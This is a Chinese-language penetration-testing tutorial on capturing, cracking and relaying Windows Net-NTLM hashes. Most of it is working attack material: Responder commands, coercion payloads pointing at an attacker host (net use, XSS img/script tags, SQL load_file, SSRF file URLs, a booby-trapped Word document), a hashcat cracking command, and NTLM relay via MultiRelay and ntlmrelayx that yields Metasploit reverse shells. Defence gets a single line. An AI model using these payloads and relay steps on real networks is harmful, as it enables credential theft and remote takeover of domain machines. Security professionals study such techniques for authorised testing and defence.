一、windows的hash
NTLM hash
NTLM hash是windows登录密码的一种hash,可以在Windows系统的SAM文件或者域控的NTDS.dit文件中提取到,NTLM hash支持哈希传递攻击。
Net-NTLM hash
Net-NTLM hash是网络环境下NTLM认证的hash,该hash不能进行哈希传递,但是可以用于ntlm中继攻击。
二、如何获取Net-NTLM hash?
使用Responder进行中间人攻击,从而获取Net-NTLM hash。
root@kali:~# git clone https://github.com/lgandx/Responder.git
root@kali:~# cd Responder/
root@kali:~/Responder# ./Responder.py -I eth0 -rv
1.cmd命令
net use \\192.168.80.130\aaa
certutil.exe \\192.168.80.130\aaa
cacls.exe \\192.168.80.130\aaa
cipher.exe \\192.168.80.130\aaa
......
- xss
使用带src的标签
<img src="\\192.168.80.130\aaa">
<script src="\\192.168.80.130\aaa">
- sql注入
使用load_file函数,需要没有secure_file_priv的限制
MariaDB [(none)]> select load_file('\\\\192.168.80.130\\mysql');
- ssrf
使用file协议
file:////192.168.80.130/aaa
- office钓鱼
- 新建一个word文档,然后随便放一个图片进去
- 使用7zip打开该文档,进入word_rels\文件夹,打开document.xml.rels文件
Target="media/image1.jpeg"
改成
Target="\\192.168.80.130\image1.jpeg" TargetMode="External"
- 当有受害者打开word文档即可获取到他的Net-NTLM hash
更多获取方法参考:
https://www.anquanke.com/post/id/193493
三、hashcat破解Net-NTLM hash
-m 指定hash的类型,5600为NetNTLMv2
root@kali:~# hashcat -m 5600 Administrator::WIN-A3QJ128S93I:c780067f2a0ae7bf:B85AE87F3BBF17DD5960DFAD6075A19B:0101000000000000C0653150DE09D201AB26C0BE9B8FEEB9000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000000000000300000D7006384B53B06B857318D8C05A5C2A66BFC9AFDCD36062540942A9B227E7AE60A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00380030002E00310033003000000000000000000000000000 /root/top100.txt -o rst.txt --force
四、ntlm中继攻击
需要不同机器之间存在信任关系,通常用在域环境中,例如攻击者获取域控主机的Net-NTLM hash,然后转发给域内的普通用户,进而获得域内普通用户的shell。
利用条件:目标已关闭smb签名,通常个人pc都是关闭的。
- 首先使用nmap扫描主机是否关闭smb签名
nmap -n -p445 192.168.80.10 --script=smb-security-mode
- 编辑Responder.conf文件,设置smb和http为Off
- 在kali(192.168.80.130)上使用Responder开启监听
./Responder.py -I eth0 -r -d -w
- 使用Responder的MultiRelay模块,指向域内的一台普通用户
./MultiRelay.py -t 192.168.80.10 -u ALL
- 在域控server2008上建立文件共享请求,kali即可接收到192.168.80.10的sytem shell(实战中可以通过钓鱼发起请求)
\\192.168.80.130\aaa
五、自动化利用
使用responder + impacket + msf,实现获取Net-NTLM hash,并通过ntlm中继获得域内普通用户的msf shell。
- 安装impacket
root@kali:~# git clone https://github.com/SecureAuthCorp/impacket.git
root@kali:~/impacket# python3 setup.py install
- 开启Responder监听
root@kali:~/Responder# ./Responder.py -I eth0 -r -d -w
- 启动msf的exploit/multi/script/web_delivery模块
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
run
- 启动impacket的ntlmrelayx模块
-tf 指定已关闭smb签名的主机列表
-c 指定msf生成的powershell命令
root@kali:~/impacket/examples# python3 ntlmrelayx.py -tf ip.txt -c "xxxxxxxxx" -smb2support
- 当域控发起请求时,通过ntlm中继,我们成功获得两台域内普通用户的shell
六、防御ntlm中继攻击
- 开启smb签名
七、参考
https://www.anquanke.com/post/id/193493
https://www.anquanke.com/post/id/177123
https://daiker.gitbook.io/windows-protocol/ntlm-pian/6